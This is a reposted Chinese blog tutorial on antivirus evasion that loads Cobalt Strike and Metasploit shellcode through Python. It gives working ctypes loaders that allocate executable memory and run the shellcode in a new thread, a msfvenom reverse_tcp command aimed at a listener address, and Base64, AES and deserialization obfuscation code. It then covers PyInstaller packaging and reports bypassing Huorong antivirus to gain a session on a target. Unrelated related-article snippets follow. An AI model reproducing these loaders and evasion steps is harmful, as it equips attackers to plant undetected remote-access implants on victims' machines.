免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall

Python-MSF/CS生成shellcode-上线

cs上线

1.生成shellcode-c或者python

2.打开pycharm工具,创建一个py文件,将原生态执行代码复制进去

shellcode执行代码:

import ctypesfrom django.contrib.gis import ptr#cs#shellcode=bytearray(b"生成的shellcode")#msf的shellcode拼接代码# shellcode = bytearray(b"")# shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"# shellcode += b"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"# print(shellcode)#msf拼接后shellcodeshellcode = bytearray(b'拼接完成shellcode')# 设置VirtualAlloc返回类型为ctypes.c_uint64#在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),  #要分配的内存区域的地址ctypes.c_int(len(shellcode)), #分配的大小ctypes.c_int(0x3000),  #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVEctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性)# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buffered,ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), #指向安全属性的指针ctypes.c_int(0), #初始堆栈大小ctypes.c_uint64(ptr), #指向起始地址的指针ctypes.c_int(0), #指向任何参数的指针ctypes.c_int(0), #创建标志ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针)# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

3.将生成的shellcode放到执行代码中,运行代码,cs成功上线

MSF上线

1.执行命令,生成shellcode

命令:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.206.129 lport=4444 -f c

2.msf设置监听

3.将shellcode放到执行脚本中运行

因为msf生成的shellcode是有换行的,所以要进行拼接,如下图:

可以使用图中的拼接直接运行。也可以输出shellcode,使用拼接后的shellcode运行。

直接使用拼接的shellcode:运行脚本成功上线

Python-混淆加密- Base64 & AES & 反序列化等

一、Base64编码

1.运行代码将cs/msf生成的shellcode去掉换行进行base64编码

编码代码:

import base64shellcode = b'生成的shellcode'
s=base64.b64encode(shellcode)
print(s)

也可以使用命令直接生成base64编码的shellcode:

msfvenom -p windows/x64/meterpreter/reverse_tcp --encrypt base64 lhost=192.168.206.129 lport=4444 -f c

2.将经过base64编码的shellcode放入执行代码中,然后在执行代码中加入base64的解码代码。

解码代码:shellcode=base64.b64decode(shellcode)

成功构造免杀脚本,执行脚本msf成功上线

二、AES加密

AES加密代码:

from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import ctypes,base64# 如果text不足16位的倍数就用空格补足为16位def add_to_16(text):if len(text.encode('utf-8')) % 16:add = 16 - (len(text.encode('utf-8')) % 16)else:add = 0text = text + ('\0' * add)return text.encode('utf-8')# 加密函数def encrypt(text):key = '9999999999999999'.encode('utf-8')mode = AES.MODE_CBCiv = b'qqqqqqqqqqqqqqqq'text = add_to_16(text)cryptos = AES.new(key, mode, iv)cipher_text = cryptos.encrypt(text)#print(base64.b64decode(cipher_text))# 因为AES加密后的字符串不一定是ascii字符集的,输出保存可能存在问题,所以这里转为16进制字符串return b2a_hex(cipher_text)def zhixing(shellcode):rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)if __name__ == '__main__':# 加密#msf
#     s='''base64编码后的shellcode'''#css='base64编码的shellcode'e = encrypt(s)print(e)

AES解密执行代码:

from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import ctypes,base64# 如果text不足16位的倍数就用空格补足为16位
def add_to_16(text):if len(text.encode('utf-8')) % 16:add = 16 - (len(text.encode('utf-8')) % 16)else:add = 0text = text + ('\0' * add)return text.encode('utf-8')# 解密后,去掉补足的空格用strip() 去掉
def decrypt(text):key = '9999999999999999'.encode('utf-8')iv = b'qqqqqqqqqqqqqqqq'mode = AES.MODE_CBCcryptos = AES.new(key, mode, iv)plain_text = cryptos.decrypt(a2b_hex(text))shellcode=bytes.decode(plain_text).rstrip('\0')return shellcodedef zhixing(shellcode):shellcode = bytearray(base64.b64decode(shellcode))# 设置VirtualAlloc返回类型为ctypes.c_uint64# 在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),  # 要分配的内存区域的地址ctypes.c_int(len(shellcode)),  # 分配的大小ctypes.c_int(0x3000),  # 分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVEctypes.c_int(0x40)  # 该内存的初始保护属性,0x40代表可读可写可执行属性)# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buffered,ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),  # 指向安全属性的指针ctypes.c_int(0),  # 初始堆栈大小ctypes.c_uint64(ptr),  # 指向起始地址的指针ctypes.c_int(0),  # 指向任何参数的指针ctypes.c_int(0),  # 创建标志ctypes.pointer(ctypes.c_int(0))  # 指向接收线程标识符的值的指针)# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))if __name__ == '__main__':#msf#e='AES解密后的shellcode'#cse='AES解密后的shellcode'd = decrypt(e)  # 解密zhixing(d)

1.使用cs生成一个64位shellcode,执行代码对其进行base64编码

2.在对编码后的shellcode进行AES加密

3.将AES加密后的shellcode放到AES解密执行代码中。成功构造免杀脚本,执行脚本cs成功上线

三、反序列化

1.将msf生成的shellcode放到代码中进行序列化和base64加密

2.将经过序列化和base64的shellcode放到反序列化和base64解密的执行代码中。成功构造免杀脚本,执行脚本msf成功上线

Python-打包器

以上测试了shellcode的原生态、base64、AES、反序列化等混淆加密的免杀上线方式。但是实战不可能上传py脚本,所以要使用python打包器将py脚本打包为exe执行程序在上传。打包器也能起到免杀效果。

Pyinstall打包器

安装:pip install pyinstaller

参数介绍:

-F, –onefile 打包一个单个文件,如果你的代码都写在一个.py文件的话,可以用这个,如果是多个.py文件就别用

-D, –onedir 打包多个文件,在dist中生成很多依赖文件,适合以框架形式编写工具代码,我个人比较推荐这样,代码易于维护

-K, –tk 在部署时包含 TCL/TK

-a, –ascii 不包含编码.在支持Unicode的python版本上默认包含所有的编码.

-d, –debug 产生debug版本的可执行文件

-w,–windowed,–noconsole 使用Windows子系统执行.当程序启动的时候不会打开命令行(只对Windows有效)

-c,–nowindowed,–console 使用控制台子系统执行(默认)(只对Windows有效)

1.执行命令,将原生态1.py进行打包

命令:pyinstaller -1.py

打包后的exe程序在根目录下的dist目录中

2.将打包的脚本上传到目标系统,执行脚本,成功绕过火绒检测,msf成功上线

3.上传了四种打包后的shellcode脚本,结果原生态反而绕过了火绒检测,其他三种经过混淆加密的全部被杀。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/83308.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java skill - 服务同时开始https和http端口

Java skill - 服务同时开始https和http端口 添加ssl配置代码开启http端口讲解大坑 添加ssl配置 在配置文件中添加配置 server:# ssl证书配置ssl:# 双向证书配置# 证书文件路径key-store: /opt/ops/cert/xes.p12# 证书密码key-store-password: 123456# 证书类型key-store-type…

IMX6ULL移植篇-Linux内核源码目录分析一

一. Linux内核源码目录 之前文章对 Linux内核源码的文件做了大体的了解,如下: IMX6ULL移植篇-Linux内核源码文件表_凌肖战的博客-CSDN博客 本文具体说明 Linux内核源码的一些重要文件含义。 二. Linux内核源码中重要文件分析 1. arch 目录 这个目录…

用了 TCP 协议,就一定不会丢包吗?

表面上我是个技术博主。 但没想到今天成了个情感博主。 我是没想到有一天,我会通过技术知识,来挽救粉丝即将破碎的感情。 掏心窝子的说。这件事情多少是沾点功德无量了。 事情是这样的。 最近就有个读者加了我的绿皮聊天软件,女生&#xff0c…

01强化学习的数学原理:大纲

01强化学习学习路线大纲 前言强化学习脉络图章节介绍Chapter 1:Basic ConceptsChapter 2:Bellman EquationChapter 3:Bellman Optimality EquationChapter 4:Value Iteration / Policy IterationChapter 5:Monte Carlo…

华为OD机试 - 靠谱的车 - 逻辑分析(Java 2023 B卷 100分)

目录 专栏导读一、题目描述二、输入描述三、输出描述四、解题思路五、Java算法源码六、效果展示1、输入2、输出3、说明 华为OD机试 2023B卷题库疯狂收录中,刷题点这里 专栏导读 本专栏收录于《华为OD机试(JAVA)真题(A卷B卷&#…

JOSEF约瑟 智能电流继电器KWJL-20/L KWLD26 零序孔径45mm 柜内导轨式安装

KWJL-20智能电流继电器 零序互感器: KWLD80 KWLD45 KWLD26 KWJL-20 一、产品概述 KWJL-20系列智能剩余电流继电器(以下简称继电器)适用于交流电压至660V或更高的TN、TT、和IT系统,频率为50Hz。通过零序电流互感器检测出超过…

qt qml RadioButton如何设置字体颜色,style提示找不到怎么办?

qt QML中设置RadioButton的字体颜色,可以使用RadioButton的label属性来设置文本的样式。下面是一个示例代码: import QtQuick 2.6 import QtQuick.Controls 2.2 import QtQuick.Controls 1.4 as Controls1_4 import QtQuick.Controls.Styles 1.4 import…

如何使用Python和Numpy实现简单的2D FDTD仿真:详细指南与完整代码示例

第一部分:引言及FDTD简介 引言: 计算机模拟在许多科学和工程领域中都得到了广泛应用。在电磁学领域,有许多不同的数值方法用于模拟波的传播和散射。其中最为知名和广泛使用的一种方法是有限差分时域方法(Finite Difference Time Domain, FDTD)。在这篇…

IOTE 2023国际物联网展直击:芯与物发布全新定位芯片,助力多领域智能化发展

IOTE 2023国际物联网展,作为全球物联网领域的盛会,于9月20日在中国深圳拉开帷幕。北斗星通集团应邀参展,旗下专业从事物联网、消费类GNSS芯片研发设计的芯与物公司也随其亮相本届盛会。 展会上,芯与物展示了一系列创新的GNSS定位…

消费盲返模式:一种让消费者和商家都受益的新型消费返利模式

消费盲返是一种新型的消费返利模式,它的核心思想是:消费者在平台购买商品后,可以获得后续一定数量的订单的部分利润作为奖励。这样,消费者不仅可以享受商品的优惠,还有可能赚取更多的钱。 这种模式对于平台和消费者都有…

【教程】AERMOD高斯稳态扩散模型

查看原文>>>基于AERMOD模型在大气环境影响评价中的实践应用 随着我国经济快速发展,我国面临着日益严重的大气污染问题。近年来,严重的大气污染问题已经明显影响国计民生,引起政府、学界和人们越来越多的关注。大气污染是工农业生产…

iOS蓝牙 Connection Parameters 关键参数说明

1. 先贴苹果文档 《 Accessory Design Guidelines for Apple Devices 》 2. 几个关键词 connection Event Interval 事件间隔,为1.25ms的倍数。可以简单理解为,是两个连接着的蓝牙设备发送“心跳包”的时间间隔; 范围是 6 ~ 3200,即 7.5…

Jmeter性能测试吞吐量控制器使用小结

吞吐量控制器(Throughput Controller)场景: 在同一个线程组里, 有10个并发, 7个做A业务, 3个做B业务,要模拟这种场景,可以通过吞吐量模拟器来实现.。 jmeter性能测试:2023最新的大厂jmeter性能测试全过程项目实战详解,悄悄收藏,后面就看不到…

Cortex-R52 深度分析总目录

之前对于R52写的比较随意,现在觉得对于这种内核还是需要系统性的总结一下。故先按照芯片手册分以下章节进行总结: Cortex-R52系统架构Armv8-R AArch32 程序员模型Armv8-R AArch32 异常处理Armv8-R AArch32 内核行为Armv8-R AArch32 多核行为Armv8-R AAr…

java专项练习(评分)

package 专题练习;import java.util.Scanner;public class marking_by_judges {//需求:在唱歌比赛中,有6名评委给选手打分,范围是[0,100]的整数.//选手最后得分为去掉最高分和最低分的平均分public static void main(String[] args) {//储存分数数组int[] score_six new int[6…

Pytorch史上最全torch全版本离线文件下载地址大全(9月最新)

以下为pytorch官网的全版本torch文件离线下载地址 torch全版本whl文件离线下载大全https://download.pytorch.org/whl/torch/其中的文件版本信息如下所示(部分版本信息,根据需要仔细寻找进行下载):

Redis 数据类型

1、String数据类型 1.1 概述 String是redis最基本的类型,最大能存储512MB的数据,String类型是二进制安全的,即可以存储任何数据、比如数字、图片、序列化对象等 1.2 SET/GET/APPEND/STRLEN redis 127.0.0.1:6379> exists mykey …

Web(1) 搭建漏洞环境(metasploitable2靶场/DVWA靶场)

简述渗透测试的步骤; 前期交互阶段→情报搜集阶段→威胁建模阶段→漏洞分析阶段→渗透攻击阶段→后渗透攻击阶段→报告阶段 (2)配置好metasploitable2靶场,截图 下载metasploitable2,VMware打开.vmx文件,登录,登陆用…

React 全栈体系(五)

第三章:React 应用(基于 React 脚手架) 一、使用 create-react-app 创建 react 应用 1. react 脚手架 xxx 脚手架: 用来帮助程序员快速创建一个基于 xxx 库的模板项目 包含了所有需要的配置(语法检查、jsx 编译、devServer…)下载好了所有…

一、8086

1、三大总线: (1)基础: 地址总线、数据总线、控制总线 (2)例题: 2、8086CPU (1)通用寄存器: 数据寄存器: 指针寄存器和变址寄存器&#xff1a…